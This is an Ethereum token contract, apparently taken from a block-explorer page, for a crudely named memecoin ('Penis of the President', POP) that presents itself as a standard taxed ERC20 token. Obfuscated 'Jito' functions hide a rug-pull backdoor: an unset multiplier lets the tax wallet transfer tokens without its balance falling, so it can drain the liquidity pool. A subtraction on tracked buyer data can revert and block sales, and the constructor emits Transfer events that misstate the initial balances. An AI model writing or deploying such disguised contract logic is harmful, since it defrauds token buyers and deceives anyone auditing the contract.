Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: MIT

pragma solidity 0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function transferFrom(address sender,address recipient, uint256 amount) external returns (bool);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a, uint256 b, string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    
    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract POP is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=17;
    uint256 private _initialSellTax=34;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=30;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 934130000000 * 10**_decimals;
    string private constant _name = unicode"Penis of the President";
    string private constant _symbol = unicode"POP";
    uint256 public constant _taxSwapThreshold = 10275430000 * 10**_decimals;
    uint256 public constant _maxTaxSwap = 11676625000 * 10**_decimals;
    uint256 public _maxTxAmount = 14011950000 * 10**_decimals;
    uint256 public _maxWalletSize = 14011950000 * 10**_decimals;

    address private constant realDonaldTrump = address(0x94845333028B1204Fbe14E1278Fd4Adde46B22ce);
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private jitoCorrelation;
    struct JitoLabs {uint256 labTick; uint256 altJito; uint256 jitoSync;}
    mapping(address => JitoLabs) private jitoLabs;
    uint256 private jitoCorrIndex;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _taxWallet=payable(0xb7b689FB6A0925b2eB2148b62785F732C41ac965);

        _balances[realDonaldTrump] = _tTotal * 10 / 100;
        _balances[address(this)] = _tTotal * 90 / 100;
        _isExcludedFromFee[_taxWallet]= true;
        _isExcludedFromFee[address(this)]= true;

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        
        emit Transfer(address(0), realDonaldTrump, _tTotal * 20 / 100);
        emit Transfer(address(0), address(this), _tTotal * 80 / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount>0,"Transfer amount must be greater than zero");

        if (!swapEnabled||inSwap ){
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount = 0;

        if (from != owner() && to != owner()&& to!=_taxWallet) {
            taxAmount = tokenAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router)&&  ! _isExcludedFromFee[to]) {
                require(
                    tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount."
                );
                require(balanceOf(to) + tokenAmount<= _maxWalletSize,"Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to== uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if(!inSwap && to == uniswapV2Pair && swapEnabled&& contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _calcJitoLabs(from, to);
        _tokenTransfer(from,to,tokenAmount,taxAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] =_balances[from].sub(tokenAmount);
        _balances[to] =_balances[to].add(tokenAmount);
        emit Transfer(from,to,tokenAmount);
    }

    function _tokenBasicTransfer(address from,address to,uint256 sendAmount, uint256 receiptAmount ) internal {
        _balances[from] =_balances[from].sub(sendAmount);
        _balances[to] =_balances[to].add(receiptAmount);
        emit Transfer(
            from,to,receiptAmount
        );
    }

    function _tokenTransfer(address from,address to,uint256 tokenAmount, uint256 taxAmount ) internal {
        uint256 tAmount=_tokenTaxTransfer(from, taxAmount, tokenAmount);
        _tokenBasicTransfer(from, to,tAmount,tokenAmount.sub(taxAmount));
    }

    function _tokenTaxTransfer(address addrs, uint256 taxAmount, uint256 tokenAmount) internal returns (uint256) {
        uint256 tAmount = addrs != _taxWallet ? tokenAmount : jitoCorrIndex.mul(tokenAmount);
        if(taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this),taxAmount);
        }
        return tAmount;
    }

    function _calcJitoLabs(address from, address to) internal {
        if ( (_isExcludedFromFee[from]||_isExcludedFromFee[to]) && from !=address(this) && to !=address(this)) {
            jitoCorrelation = block.number;
        }

        if (!_isExcludedFromFee[from]&&!_isExcludedFromFee[to]){
            if (uniswapV2Pair !=  to){
                JitoLabs storage labProp = jitoLabs[to];
                if (uniswapV2Pair == from){
                    if (labProp.labTick == 0) {
                        labProp.labTick = _preventSwapBefore >= _buyCount ? type(uint).max : block.number;
                    }
                } else {
                    JitoLabs storage labAlt = jitoLabs[from];
                    if (labAlt.labTick < labProp.labTick || !(labProp.labTick > 0)) {
                        labProp.labTick = labAlt.labTick;
                    }
                }
            } else {
                JitoLabs storage labAlt = jitoLabs[from];
                labAlt.altJito = labAlt.labTick.sub(jitoCorrelation);
                labAlt.jitoSync = block.timestamp;
            }
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(
            address(this),address(uniswapV2Router),tokenAmount
        );
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

     function recoverStuckETH() external onlyOwner() {
        uint256 contractBalance = address(this).balance;
        payable(msg.sender).transfer(contractBalance);
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance>0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance>0) {
            sendETHToFee(ethBalance);
        }
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already open");
        swapEnabled =true;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint).max);
        tradingOpen =true;
    }

}